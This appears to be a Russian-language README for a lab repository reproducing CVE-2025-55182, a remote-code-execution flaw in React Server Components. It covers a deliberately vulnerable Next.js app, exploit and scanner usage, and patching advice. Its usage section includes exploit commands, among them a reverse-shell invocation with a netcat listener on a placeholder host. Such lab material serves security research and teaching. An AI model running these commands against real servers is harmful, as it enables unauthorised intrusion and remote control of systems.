
Лабораторная среда и PoC-эксплойт для CVE-2025-55182 (React2Shell), критической уязвимости RCE в React Server Components. Включает уязвимое приложение, скрипты эксплойта и сканер для исследований в области безопасности и обучения.
Этот репозиторий содержит полную среду для анализа и воспроизведения CVE-2025-55182 — критической уязвимости удаленного выполнения кода (RCE) в React Server Components (RSC), затрагивающей React 19.x и Next.js 15.x.
⚠️ ВНИМАНИЕ: Этот проект намеренно содержит уязвимый код. НЕ разворачивайте его на публичном сервере или в производственной среде.
react-server-dom-webpack, react-server-dom-turbopackУязвимость существует в том, как среда выполнения React Server Components обрабатывает сериализованные данные из HTTP-запросов (Server Actions). Злоумышленник может создать вредоносную полезную нагрузку протокола "Flight", которая при десериализации на сервере выполняет произвольный код до проверки подлинности.
react2shell/
├── vulnerable-app/ # Vulnerable Next.js 15 application
│ ├── app/
│ │ ├── actions.ts # Vulnerable Server Actions
│ │ └── page.tsx # UI for testing vulnerability
│ ├── Dockerfile # Container definition
│ └── package.json
├── exploit/ # Exploit tools
│ ├── exploit.py # Python PoC exploit
│ ├── scanner.py # Vulnerability scanner
│ └── quick_exploit.sh # Simple bash exploit
├── docs/ # Analysis documentation
└── docker-compose.yml # Isolated lab environment
Запустите уязвимое приложение в изолированном контейнере:
docker-compose up -d --build
Приложение будет доступно по адресу http://localhost:3000.
Откройте http://localhost:3000 в браузере. Вы должны увидеть интерфейс "React2Shell Lab" с несколькими тестовыми панелями:
Мы предоставляем несколько инструментов для тестирования уязвимости.
Установите зависимости:
pip install -r exploit/requirements.txt
Проверьте, уязвимо ли приложение:
python3 exploit/exploit.py -u http://localhost:3000 --check
Выполните команду:
python3 exploit/exploit.py -u http://localhost:3000 -c "id"
Обратная оболочка (Reverse Shell) (требуется слушатель, например, nc -lvnp 4444):
python3 exploit/exploit.py -u http://localhost:3000 --revshell -l HOST_IP -p 4444
Сканирование уязвимых экземпляров React/Next.js:
python3 exploit/scanner.py -u http://localhost:3000
Чтобы исправить эту уязвимость в ваших собственных приложениях:
Обновите зависимости:
Проверьте исправление:
Проверьте package.json, чтобы убедиться, что пакеты react-server-dom-* обновлены.
Этот проект предназначен только для образовательных целей и исследований в области безопасности. Авторы не несут ответственности за неправомерное использование этого материала.